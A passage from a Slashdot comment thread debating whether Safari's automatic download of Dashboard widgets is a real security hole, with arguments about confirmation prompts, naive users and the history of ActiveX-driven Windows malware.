      Exellent, so now you ask me what more I want, and I will tell you. You can tell me if it would be so terribly bad if Apple did it this way.

      I'm assuming you haven't designed many user interfaces, so you wouldn't necessarily know that kind of "security measure" simply doesn't work. These kind of "warnings" are so ubiquitous, and so normally benign, that users simply ignore them. The contextual information needed to help them weigh the risks are long gone, so risk weighing goes out the window.

      It's more effective, although not perfectly so, to ask the user first: "this web page wants to install a Dashboard widget on your computer, do you want to let it do so? (Yes/Yes to All/No/No to All)". It's not perfect, but combined with code signing it can help quite a bit. The reason is that providing information in context, the user has some idea of what's going on, whether he expects the web page to install a widget or not, and whether he wants to extend trust to it.

      For example, if the user is at an Apple sponsored widget exchange site, and he's requested the new spiffy widget set, this requests accords with his expectation -- he's just asked for a set of widgets; likewise he's probably already decided to trust the site. So he clicks through. If he's surfing and has stumbled on some random pr0n site, then (1) he is surprised that this particular web site wants to monkey with his dashboard and (2) does not wish to trust the site. That information is completely gone if he is asked later.

      What I want to know is, how would asking confirmation by the user as a default have hurt?

      --
      Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
    3. Re:Living in a fool's paradise. by BasilBrush · · Score: 1
      This meets the dictionary definition of "execution", if you must be pedantic, which requires only the ability to carry out instructions, not that these instructions be unlimited in nature.

      Don't be an idiot. Downloading a file is not executing it, no matter how much you want it to be so.

      This is undoubtably a hole that shouldn't be there. But it is NOT executing the widget. And that makes it no more than a minor annoyance that will doubtless get swept up with the next update.

  153. THERE IS NO FUCKING FLAW by Anonymous Coward · · Score: 0

    Shit. This has been so blown out of proportion is makes me want to explode.

    1. NOTHING auto-executes. EVER.
    2. Downloaded widgets are automatically placed in ~/Library/Widgets. Big. Fucking. Deal.
    3. Thus downloaded widgets show up in the widget list when you go to add one to your dashboard.
    4. Again, NOTHING AUTO-EXECUTES.
    5. When you click on a newly downloaded widget to add it to your dashboard, a dialog comes up asking you to confirm. THIS IS EXACTLY THE SAME AS DOUBLE-CLICKING A DOWNLOADED PROGRAM FOR THE FIRST TIME.
    6. The ONLY difference between downloading a widget and a program is that the widget ends up in ~/Library/Widgets and the program ends up in ~/Desktop.
    7. NOTHING FUCKING AUTO-EXECUTES.
    8. THERE IS NO SECURITY RISK HERE.

    Move along, nothing to see. You've all been trolled damn good.

    In other news, malicious websites can display the Goatse picture. APPLE MUST PROTECT US FROM THIS!!!!!!!!!!

  154. IT IS NOT DANGEROUS by Anonymous Coward · · Score: 0

    Safari moves the "ask what to do" dialog to Dashboard. Dashboard asks what to do before running any new widget for the first time.

    THIS IS NOT AN ISSUE AT ALL. GO FUCKING HOME, TROLL WHO WROTE THE ORIGINAL ARTICLE.

    And grow a brain, everyone else who took it as fact.

  155. THE PROMPT IS IN DASHBOARD, NOT SAFARI by Anonymous Coward · · Score: 0

    The end result is the same. You can't run a new widget without getting prompted about it.

    NO ISSUE, case closed. Go home, trolls.

  156. You idiot by Anonymous Coward · · Score: 0

    A widget forkbomb wouldn't be so hard I don't think.

    Yes it would. Widgets DON'T RUN UPON INSTALLATION.

    Nice try, I know you wanted this to be security risk, but sadly it isn't.

  157. Safe by default by DimGeo · · Score: 1

    Disclaimer: IANAMUIAAJPAAWXPU (I am not a mac user, I am a Java programmer and a Windows XP user): MS explained on its last two public conferences in Sofia, Bulgaria, that safe by default is a good thing since most users never change the default settings.

  158. MOD PARENT UP by argent · · Score: 1

    Apple has been taking tentative steps along the dark path to the place Microsoft lives since the very first release of Safari. They haven't yet reached the point where it becomes impossible to back out without breaking existing software, but it's just a matter of time.

    So, no, this guy isn't a troll, he's just a bit more frustrated than the rest of us.

  159. Some folks just don't realize the seriousness... by LionMage · · Score: 1

    I've seen several folks making note of the fact that just because the widget gets automatically copied into the "right" folder, it doesn't get launched/activated until the user explicitly does so in Dashboard. While this does provide an extra layer of protection, it's not enough for most users. (I'm not meaning to imply that the commenter I linked to specifically was underestimating the seriousness of this issue, but his comment was the clearest explanation of the widget behavior that wasn't written by AC.)

    I learned a painful lesson in user naivity when I visited my father for the holidays. I meant to do a little cleanup on his system, but what I discovered was a complete mess that I could barely scratch the surface of. It looked like he had installed every single demo, crapware, shareware app, and plugin imaginable; he probably got these from Apple's .Mac service, since Apple likes to put a variety of software in the user's iDisk under the Software folder IIRC. The Applications folder on his G5 was littered with broken apps, disk image files, you name it. The scary thing is, he had no recollection of installing most of these things, nor could he recall giving anyone else control of his machine to install these items. There were things he installed that he didn't even have use for, such as the TiVo Desktop. (That was a bit harder to get rid of than most stuff, because TiVo's software installs a preference pane.)

    My father is not an idiot, but he is elderly, and he's not as computer savvy as he sometimes thinks he is. If a naive user can install a bunch of application binaries without really remembering doing so, what's to say that some naive user won't notice a new widget sitting in Dashboard, and activate it out of curiosity to see what it does? After all, Apple's philosophy has always been to encourage users to explore and play around with their computing environment to learn how things work.

    Bottom line: The end user can't be trusted. Users can't be trusted not to do perverse things with their systems. Users can't even be trusted not to click on something that's been downloaded, nor can they be trusted not to click on something that's been "helpfully" installed for them.

  160. install != run by Anonymous Coward · · Score: 0

    Idiot.

  161. HAH, NO! by EXrider · · Score: 1

    So does IE. ActiveX controls have ALWAYS prompted.

    HAH, yeah, assuming the page wasn't exploiting one of the numerous, patched and/or unpatched vulnerabilities in IE, in order to run the executable without even prompting the user.

    I don't use IE, but half-assed ASP on our company's website mandates it for some users. I stood there behind multiple users backs watching a seemingly legitimate website (www.anywho.com, a directory website A/R was using, owned by AT&T/p0wNeD by script kiddies) try to download, and execute an executable that was flagged as a worm (don't remember which one) by our anti-virus software. This is on fully patched, and up to date Windows 2000 boxen. Luckily the damn AV software caught it, 'cause IE didn't bat an eye, as long as Active-X scripting was turned on, it didn't matter what the zone settings were, or if "Active-X prompting" was turned on. I sent numerous flaming e-mails to various standard administrative contact addresses in that domain, after I blocked www.anywho.com on our proxy, haven't been back since.

    --
    grep -iw skynet /etc/services
  162. Why Windows is like it is... by argent · · Score: 1

    The reason Windows is so full of malware is because everyone uses it.

    Wrong.

    The reason Windows is full of malware is because back in the '90s Microsoft came up with this clever scheme to create a loophole in their agreement with the Justice Department about bundling applications with Windows, by merging Internet Explorer with Windows Explorer so you could have fancy HTML-enhanced windows and control panel applets, and so you could use Internet Explorer as a "universal API" and create web pages that automatically installed local native code components that let you do all kinds of nifty things.

    Then they found out that people could use this to create web pages that did bad things. And email that looked to the HTML control like it was a local file (because the HTML control didn't know it was just a temp file) so the HTML control gave it local rights. And Microsoft proceeded to spend the next seven or so years trying to pin down the border between "safe places" that could do exciting things and "dangerous places" that couldn't. They called the "safe places" the local security zone, and they called the "dangerous places" the internet security zone. But then they had to create exceptions, and exceptions to those exceptions, and as time went on the whole structure became more and more complex.

    Eventually, it got so complex that it was easier to write a stand-alone application and have people download it than to explain to people how to set their ActiveX security settings so they can actually use your nifty ActiveX add-ons. And, of course, they never HAVE been able to pin that border down, because they're trying to make it do so many things...

    THAT is why Windows is a swamp. It's not like there was a sudden thousand-fold increase in the number of Windows users in just ONE year in the late '90s, but sometime around 1997 worms and viruses exploded on the scene. And they were all NEW KINDS of exploits, things that had been unthinkable a few years before. There had even been a joke going around about a virus that was launched JUST BY READING YOUR MAIL. It was hilarious, because we all KNEW nobody would EVER write a mail program that had that kind of capability. I mean, really, you'd be nuts to even think about putting things like a general purpose scripting language into a mail reader in a way the email could even potentially get at it.

    Before then, pretty much all you needed to do to stay virus free was avoid opening attachments and downloading programs. Oh, sure, occasionally there were things like buffer overflows discovered... but they were relatively rare and they were easy to fix.

    Afterwards, all bets were off.

    I mean, I watched this happen, and I said "this is going to be a disaster", and they kept on doing it. I DID manage to ban Outlook and IE and other programs that used the HTML control at our office, though. So I know what things were like through about 2003 if you didn't use these programs... and it was amazing. Every few months the whole company went through a spasm of virus alerts, except for our little corner where... nothing happened. Because we weren't using the bits of Windows that makes Windows the huge malware target that it is. Without the HTML control, Windows is actually pretty nice.

    But don't expect Microsoft to pull it out.

    Just hope Apple steps back from the edge before it's too late.

  163. Not necessary, not sufficient, not possible. by argent · · Score: 1

    Not possible, because "requiring the password" is not just an application decision, it's due to a requirement in the OS that you take on admin rights before you perform an operation. If you have to be an admin before you can set the setuid bit you'll force people to have admin rights to do things as simple as run compilers.

    Not sufficient because you don't need the execute bit to load and run code in the general case, all the execute bit does is let one system call (exec()) know how to run applications. It's not needed for scripts, plugins, dynamic libraries, patches, haxies, and so on.

    Not necessary because just removing the option to automatically open safe files (not you or I turning it off, but Apple removing it) would eliminate most of the potential exploits, and creating a "sandbox applications only" subset of LaunchServices would eliminate most of the rest. Your only exposure would be pure social-engineering attacks, and outright bugs (buffer overflows and stack smashing attacks, for example) that can be fixed without further changes in the API or UI.

  164. Read the post by Anonymous Coward · · Score: 0

    That's why you have fucking eyes, numbnuts. Putting files anywhere except the download folder is NOT "safe" behavior.

  165. No Issue? Wrong. Just a small one. by Paradox · · Score: 1

    Err, uhh, so what you're saying is that it's correct for Safari to prompt me before downloading it and running it from a click (that "has an application" prompt is in Safari), but when you put a special meta-refresh, it shouldn't?

    Why?

    It's not a serious issue, the damage caused is minimal, but these kinds of tiny holes have a way of being part of a larger attack.

    --
    Slashdot. It's Not For Common Sense
  166. Why not? by Anonymous Coward · · Score: 0

    Why not? You've proven it's possible.

  167. two words... by Anonymous Coward · · Score: 0

    chmod ugo-w ~/Library/Widgets/; sudo chmod ugo-w /Library/Widgets/

  168. Re:Oh but it has, and you've proved part of my poi by Anonymous Coward · · Score: 0

    Read and learn the MAC OS is a much more secure and roboust OS than Windoze. Anyone to say that windows is more secure than Unix is fooling themselves and is not a tech.

    http://www.baltimoresun.com/technology/custom/plug gedin/bal-mac082803%2C0%2C1353478.column

  169. Re:Oh but it has, and you've proved part of my poi by mp3phish · · Score: 1

    Anyone to say that windows is more secure than Unix is fooling themselves and is not a tech.

    Anyone who says this isn't a "tech"? Please. You sound like you just got off the schoolbus. You obviously don't have much experience. I'm not defending windows AT ALL. I am simply stating that macOS has proven exploits and proven security holes. Period. End of discussion.

    --
    Your ignorance is infinitely greater than you realize.